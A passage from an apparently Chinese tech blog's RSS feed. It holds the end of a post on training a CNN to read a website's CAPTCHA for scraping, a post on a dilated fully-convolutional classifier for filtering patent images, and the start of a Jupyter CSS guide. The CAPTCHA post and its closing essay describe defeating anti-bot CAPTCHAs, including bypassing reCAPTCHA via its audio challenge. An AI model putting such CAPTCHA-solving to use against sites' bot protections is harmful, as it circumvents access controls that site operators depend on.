</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">def</span> <span class="nf">calculate_mean</span><span class="p">(</span><span class="n">path</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">float</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">means</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">imglist</span> <span class="o">=</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="k">for</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">imglist</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="c1"># Only for gray images</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="n">img</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="n">img_mean</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">mean</span><span class="p">(</span><span class="n">img</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="n">means</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">img_mean</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">return</span> <span class="n">np</span><span class="o">.</span><span class="n">mean</span><span class="p">(</span><span class="n">means</span><span class="p">)</span> <span class="o">/</span> <span class="mi">255</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">calculate_mean</span><span class="p">(</span><span class="s2">&#34;./dataset/*/*.png&#34;</span><span class="p">))</span></span></span></code></pre></div><p>计算得出，该数据集的均值 mean 为 0.13。</p>
<p>于是，数据集就准备完毕了。</p>
<h3 id="模型">模型</h3>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">class</span> <span class="nc">View</span><span class="p">(</span><span class="n">nn</span><span class="o">.</span><span class="n">Module</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">        <span class="nb">super</span><span class="p">(</span><span class="n">View</span><span class="p">,</span> <span class="bp">self</span><span class="p">)</span><span class="o">.</span><span class="fm">__init__</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">def</span> <span class="nf">forward</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="k">return</span> <span class="n">x</span><span class="o">.</span><span class="n">view</span><span class="p">(</span><span class="n">x</span><span class="o">.</span><span class="n">size</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">model</span> <span class="o">=</span> <span class="n">nn</span><span class="o">.</span><span class="n">Sequential</span><span class="p">(</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">dilation</span><span class="o">=</span><span class="mi">1</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">BatchNorm2d</span><span class="p">(</span><span class="mi">69</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">ReLU</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">69</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span> <span class="n">dilation</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">AvgPool2d</span><span class="p">(</span><span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">BatchNorm2d</span><span class="p">(</span><span class="mi">69</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">ReLU</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">69</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">4</span><span class="p">,</span> <span class="n">dilation</span><span class="o">=</span><span class="mi">4</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">AvgPool2d</span><span class="p">(</span><span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">BatchNorm2d</span><span class="p">(</span><span class="mi">69</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">ReLU</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">69</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">8</span><span class="p">,</span> <span class="n">dilation</span><span class="o">=</span><span class="mi">8</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">AvgPool2d</span><span class="p">(</span><span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">BatchNorm2d</span><span class="p">(</span><span class="mi">69</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">ReLU</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">69</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">dilation</span><span class="o">=</span><span class="mi">1</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">BatchNorm2d</span><span class="p">(</span><span class="mi">50</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">ReLU</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">50</span><span class="p">,</span> <span class="mi">34</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">dilation</span><span class="o">=</span><span class="mi">1</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">BatchNorm2d</span><span class="p">(</span><span class="mi">34</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">ReLU</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">AdaptiveAvgPool2d</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="n">View</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="p">)</span></span></span></code></pre></div><p>依然是 Good old 全卷积 + 空洞卷积 + 全局池化。优点分析可以参见上一篇博客 <a href="/posts/23-fcn-classify/">基于全卷积网络的图像分类</a>。</p>
<p>需要特别说明的是最后一层输出的是 34 类而非 36 类，原因是数据集里缺失了 <code>6</code> 和 <code>l</code> 这两个字符… 如果数据集包含了完整的 36 个字符，则需要把最后一个卷积层的深度改为 36，全局池化层的输出也需要改为 36。</p>
<h3 id="结果-1">结果</h3>
<p>使用 0.1 的学习率，128 的 Batch size，在 40 - 50 个 epoch 后收敛。</p>
<p>训练集 acc 约为 96.2%，验证集 acc 约为 93.3%。</p>
<p>在实际的验证码图片测试中，整体准确率上升到 80%。其中，<code>t3st1n</code> 这一条验证码的识别准确率为 99%（毕竟好几百条这哥们儿），其余验证码的准确率约 50%。由于其他验证码数据中，有部分字符十分稀缺，所以识别准确率不出意外的比较差。</p>
<p>因此可以看出，只要拥有足够的数据量（每个字符 100 张以上），神经网络可以获得相当优秀的识别准确率。</p>
<h2 id="尾声">尾声</h2>
<p>在花费了一个礼拜的功夫之后，这网站把验证码系统换成了 <a href="https://www.google.com/recaptcha/intro/v3.html">reCAPTCHA</a>。<strong>项目终结</strong>。&#x1f615;</p>
<hr>
<h2 id="关于验证码的一些思考">关于验证码的一些思考</h2>
<p>验证码，即 CAPTCHA，全称 Completely Automated Public Turing test to tell Computers and Humans Apart（全自动区分计算机和人类的图灵测试）。</p>
<p>顾名思义，验证码的初衷在于区分人和机器人，需要使用人能够简单完成，但是程序难以完成的任务。最初的传统验证码使用加入噪声或者扭曲的文字图像，人能够轻易辨认，程序难以识别。但是随着计算机视觉和深度学习的发展，现在的机器人已经有能力解决 99% 的文字验证码了。为了抵抗机器人，验证码的字符越来越扭曲，噪声越来越多，人越来越难以看清，反而是机器人依旧能够很准确的识别。就看我正在解决的这个验证码，一个普普通通的学生都可以随便做到很高的识别率，反而是人眼不一定能轻松辨认出是什么字符。从这个角度来说，这个验证码不就是本末倒置了么。</p>
<p>厂商们都清楚这个问题。为了解决这个问题，新一代的验证码开始流行于市场上。我常常见到的有这么几种：</p>
<ol>
<li>在文字图片上点击指定的文字</li>
<li>拖动一个滑块，完成拼图 / 旋转图片到指定角度</li>
<li>在几张图片中选中指定内容的图片</li>
</ol>
<p>更为高级的，就是谷歌的 reCAPTCHA。从第二代 reCAPTCHA 开始，谷歌就会综合各种数据给每个用户打分，低于某个阈值的就可以认为是机器人。到第三代，甚至在前端完全不提供任何用户界面，只在网站后台提供打分系统。</p>
<p>但是这些验证码都不可破解吗？显然不是。上面我提到的这三种形式里的前两个无非都只是需要鼠标操作，写一个控制鼠标操作的脚本何其容易，剩下的判定利用神经网络解决也不会是难事。至于第三个，如果是 12306 那种物体类别判断，想想我们现在连 ImageNet 的 1000 类都可以训练下来，破解下这个不就是小儿科；如果是谷歌那种一整张图切成九宫格选物体的类型，大不了也就是上个语义分割网络，再或者也可以选择走提供给视障患者的语音挑战来绕过这个。</p>
<p>就连用机器学习去判断用户的谷歌 reCAPTCHA，也不是不能破解。这篇论文：<a href="https://arxiv.org/abs/1903.01003">Hacking Google reCAPTCHA v3 using Reinforcement Learning</a> 就介绍了一种用强化学习绕过 reCAPTCHA v3 的方法。</p>
<p>扯了这么多有的没的，我想表达的观点很简单。道高一尺魔高一丈，研发验证码的人不断创造出新的验证码把机器人挡在外面，而开发爬虫的人又不断更新自己的程序来绕过限制，这不就是妥妥的零和博弈么。生成式对抗网络里生成器和判别器的博弈训练过程和这样的螺旋上升过程不就是完全一回事吗。如此精妙，不得不赞叹隐藏在世界表面下的奇妙社会规律，也不得不赞叹 Goodfellow 强大的洞察和想象力。（GAN 吹是我了）</p>
<p>那把眼光放长放科幻，这个运行在世界上的大型 GAN 最后能给我们带来什么样的结果呢？会是人类一败涂地还是机器大获胜利？Let’s see.</p>
]]></content:encoded>
    </item>
    <item>
      <title>基于全卷积网络的图像分类</title>
      <link>https://sttev.com/posts/23-fcn-classify/</link>
      <pubDate>Fri, 27 Sep 2019 20:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/23-fcn-classify/</guid>
      <description>&lt;h2 id=&#34;需要解决的问题&#34;&gt;需要解决的问题&lt;/h2&gt;&#xA;&lt;p&gt;在&amp;lt;前司&amp;gt;的官网上，GB 专利的历史数据（上世纪七八十年代）的摘要附图中有大量错误抠取的图片，客户体验较差。因此需要尽快清除这些脏数据。以下是示例图片（本地数据集截图）。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="需要解决的问题">需要解决的问题</h2>
<p>在&lt;前司&gt;的官网上，GB 专利的历史数据（上世纪七八十年代）的摘要附图中有大量错误抠取的图片，客户体验较差。因此需要尽快清除这些脏数据。以下是示例图片（本地数据集截图）。</p>
<p>从官网直接批量拉取的摘要附图：</p>
<p><img src="../FCN.assets/ds-all.png" alt="ds-all"></p>
<p>其中可以看到有大量非摘要附图的图片，包括文字，空白，logo，信息表格。以下是三张脏数据的示例图：</p>
<p><img src="../FCN.assets/ds-dirty-1.png" alt="ds-dirty-1"></p>
<p><img src="../FCN.assets/ds-dirty-2.png" alt="ds-dirty-2"></p>
<p><img src="../FCN.assets/ds-dirty-3.png" alt="ds-dirty-3"></p>
<p>这是需要保留的正确的摘要附图：</p>
<p><img src="../FCN.assets/ds-clean.png" alt="ds-clean"></p>
<h2 id="难点">难点</h2>
<p>如果使用传统统计学方法，例如 PCA，kNN，小波变换之类的算法进行筛选，并非不可能。但是这两类图片之间的差异比较难以量化的描述，需要算法编写者精通统计学和各种算法才可能完成。</p>
<p>所以我选择了一条相对简单的方法，也就是交给机器学习。炼丹还是要比正儿八经写算法简单的多了。</p>
<h2 id="模型介绍">模型介绍</h2>
<p>机器学习框架我采用了 <a href="https://pytorch.org">Pytorch</a>。废话不多说，直接上模型。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">model</span> <span class="o">=</span> <span class="n">nn</span><span class="o">.</span><span class="n">Sequential</span><span class="p">(</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">dilation</span><span class="o">=</span><span class="mi">1</span><span class="p">),</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">BatchNorm2d</span><span class="p">(</span><span class="mi">16</span><span class="p">),</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">ReLU</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">dilation</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">AvgPool2d</span><span class="p">(</span><span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">BatchNorm2d</span><span class="p">(</span><span class="mi">16</span><span class="p">),</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">ReLU</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">dilation</span><span class="o">=</span><span class="mi">4</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">AvgPool2d</span><span class="p">(</span><span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">BatchNorm2d</span><span class="p">(</span><span class="mi">16</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">ReLU</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">dilation</span><span class="o">=</span><span class="mi">8</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">AvgPool2d</span><span class="p">(</span><span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">BatchNorm2d</span><span class="p">(</span><span class="mi">16</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">ReLU</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">dilation</span><span class="o">=</span><span class="mi">1</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">BatchNorm2d</span><span class="p">(</span><span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">ReLU</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">nn</span><span class="o">.</span><span class="n">AdaptiveAvgPool2d</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="n">View</span><span class="p">(),</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="p">)</span></span></span></code></pre></div><p>在送入网络之前，所有图片都会被 resize 到 200×200 的大小，并且转换为灰度图片（单通道）。网络最后的 <code>View()</code> 层是用来做 <code>view</code> 操作的，把输出张量调整成一个向量。</p>
<h2 id="一些-xjb-分析">一些 <del>(xjb)</del> 分析</h2>
<h3 id="normalization">Normalization</h3>
<p>标准化可以说是我在自己折腾这些图片分类的时候最早碰到的一大难题了。在 Pytorch 中，标准化的函数形式是 <code>torchvision.transforms.Normalize(mean, std, inplace=False)</code> 。显然，其中需要我填写两个参数，均值和标准差。最早我并不知道他们的意义何在，所以参照各种博客和教程的说法使用了 <code>mean=[0.5], std=[0.5]</code> 的参数使值域映射到 $[-1, 1]$ 的范围内。结果训练效果奇差。</p>
<p>于是我自己摸索这个标准化参数，最后发现使用 <code>mean=[1], std=[0.5]</code> 的时候反而效果非常好。</p>
<p>查阅文档以后，我才知道这个函数的实际作用是</p>
<p>$input[channel] = \frac{(input[channel] - mean[channel])}{std[channel]}$</p>
<p>Normalization 的正确做法应当是使得标准化后的数据均值落在 0 附近，至于标准差，对于单通道的黑白图片并不重要，彩色图片的话需要控制标准差使得多通道标准化到同一区间。原本图像的每个像素点的取值是 $[0, 1]$，按照 <code>[1], [0.5]</code> 的参数，其实是把值域映射到了 $[-2, 0]$ 的区间，为什么反而效果好？因为这个分类任务中使用的图片非常特殊，都是从 pdf 文档中截出来的图。这类数据集的特征就是空白区域非常多，换句话说整个数据集的均值非常靠近 1，实际在 0.95 左右。所以使用 <code>[0.5], [0.5]</code> 的参数后，均值依旧远离 0，而 <code>[1], [0.5]</code> 反倒是把均值拉到了 0 附近。</p>
<p>所以教训就是，在每次训练的时候都应该根据实际数据集的分布，去调整这两个参数。（所以为啥 Pytorch 不加个自动标准化的 feature 呢…）</p>
<h3 id="dilated-convolution">Dilated Convolution</h3>
<p>在模型里我用了我个人很喜欢的空洞卷积。最早是在谷歌的 <a href="https://deepmind.com/blog/article/wavenet-generative-model-raw-audio">WaveNet</a> 里看来的，觉得非常神奇。在空洞卷积中，按照指数增长空洞率，就可以随层数指数增长感受野。而在普通的卷积网络中，感受野随层数是线性增长的。</p>
<p>在这个分类任务中，图像的特征差别还是非常大的，至少我们可以从缩略图一眼辨认出这张图是不是脏数据。所以对于神经网络来说，获取大尺度的感受野以及多尺度的感受野对正确分类非常重要。然而为了控制参数数量避免难以训练和过拟合的问题，无限制加深层数是不行的，那么空洞卷积正好就派上了用场。虽然这样设置空洞参数（1，2，4，8）显然会引起 gridding 也就是棋盘效应，不过最终效果非常棒，所以我猜测足够明显的特征下，就算丢失一部分局部信息也并不影响结果。</p>
<h3 id="global-average-pooling">Global Average Pooling</h3>
<p>传统 CNN 总是会在最后加几个全连接层计算最后的输出。但是问题在于，全连接层的参数数量非常可怕。例如经典的 VGG16 网络，最后的全连接层的参数数量占到了总数量的将近 90%。这带来的问题就是难以训练和易于过拟合。所以我就用了之前看来的骚操作，全局池化。</p>
<p>在最后一个卷积层，我把 feature map 的数量降到目标预测类别的数量，也就是 2 个。在经过 BatchNorm 和 ReLu 后，直接把整个 feature map 取平均得到一个数。这两个数经过 Softmax 以后，就是这个两个对应类别的预测置信度。这样一来，整个全连接网络都被省掉了，不仅容易训练，还不容易过拟合，性能还好，可以说超级好用了。</p>
<h2 id="结果与性能">结果与性能</h2>
<h3 id="tensorboard-可视化训练记录">Tensorboard 可视化训练记录</h3>
<p><img src="../FCN.assets/loss.png" alt="loss"></p>
<p><img src="../FCN.assets/acc.png" alt="acc"></p>
<p>可以看到，拟合的速度非常快，最终 acc 达到了 99% 以上。而且 train acc 和 validation acc 几乎完全一致，没有过拟合。（就是学习率调的太高了点）</p>
<h3 id="测试预测">测试预测</h3>
<p>在本地对 10 张随机样本做测试预测。</p>
<p><img src="../FCN.assets/test-ds.png" alt="test-ds"></p>
<p>结果：</p>
<p><img src="../FCN.assets/test-result.png" alt="test-result"></p>
<p>可见结果非常准确。</p>
<h3 id="性能测试">性能测试</h3>
<p>我本地配置是 i5-4590 (4C4T, 3.3-3.7GHz)，8 GB DDR3，无 GPU，操作系统是 Windows 10 1903。</p>
<p><img src="../FCN.assets/perf.png" alt="perf"></p>
<p>在一颗五年前的中端 cpu 上，性能达到了每张仅需 0.023 秒，可以说是非常优秀的了。</p>
<h3 id="最终效果">最终效果</h3>
<p>最后放一张官网的截图，现在已经基本没有脏数据啦。</p>
<p><img src="../FCN.assets/sample.png" alt="sample"></p>
]]></content:encoded>
    </item>
    <item>
      <title>Jupyter Notebook 自定义外观</title>
      <link>https://sttev.com/posts/22-jupyter-css/</link>
      <pubDate>Fri, 02 Aug 2019 23:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/22-jupyter-css/</guid>
      <description>&lt;p&gt;Jupyter Notebook 原生的外观可以说是能用但是绝对不好看。所以可以试试修改 css 获得一个好看一些的外观。&lt;/p&gt;&#xA;&lt;p&gt;Windows 系统下，在个人文件夹 &lt;code&gt;C:\Users\****\&lt;/code&gt; 下找到或者新建文件夹 &lt;code&gt;.jupyter&lt;/code&gt;。或者在 CMD / PowerShell 键入：&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Jupyter Notebook 原生的外观可以说是能用但是绝对不好看。所以可以试试修改 css 获得一个好看一些的外观。</p>
<p>Windows 系统下，在个人文件夹 <code>C:\Users\****\</code> 下找到或者新建文件夹 <code>.jupyter</code>。或者在 CMD / PowerShell 键入：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">jupyter</span> <span class="n">notebook</span> <span class="p">-</span><span class="n">-generate-config</span></span></span></code></pre></div><p>然后就会生成这个文件夹。在 <code>.jupyter</code> 文件夹下新建一个文件夹叫做 <code>custom</code>，然后新建文件 <code>custom.css</code>。参考内容：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="ln">  1</span><span class="cl"><span class="c">/* Ref: https://www.zhihu.com/question/40012144 */</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl">
</span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="c">/* Body */</span>
</span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="c">/* #notebook-container {
</span></span></span><span class="line"><span class="ln">  5</span><span class="cl"><span class="c">    width: 90%
</span></span></span><span class="line"><span class="ln">  6</span><span class="cl"><span class="c">} */</span>
</span></span><span class="line"><span class="ln">  7</span><span class="cl">
</span></span><span class="line"><span class="ln">  8</span><span class="cl"><span class="c">/* Markdown */</span>
</span></span><span class="line"><span class="ln">  9</span><span class="cl"><span class="nt">div</span><span class="p">#</span><span class="nn">notebook</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">    <span class="k">font-family</span><span class="p">:</span> <span class="s2">&#34;Microsoft YaHei&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 11</span><span class="cl">    <span class="k">line-height</span><span class="p">:</span> <span class="mi">20</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl">    <span class="kp">-webkit-</span><span class="n">font-smoothing</span><span class="p">:</span> <span class="n">antialiased</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">
</span></span><span class="line"><span class="ln"> 15</span><span class="cl"><span class="c">/* Markdown - h2 */</span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl"><span class="nt">div</span><span class="p">#</span><span class="nn">notebook</span> <span class="nt">h2</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">    <span class="k">color</span><span class="p">:</span> <span class="mh">#007aff</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">
</span></span><span class="line"><span class="ln"> 20</span><span class="cl"><span class="c">/* Markdown - quote */</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl"><span class="nt">div</span><span class="p">#</span><span class="nn">notebook</span> <span class="nt">blockquote</span><span class="p">{</span>
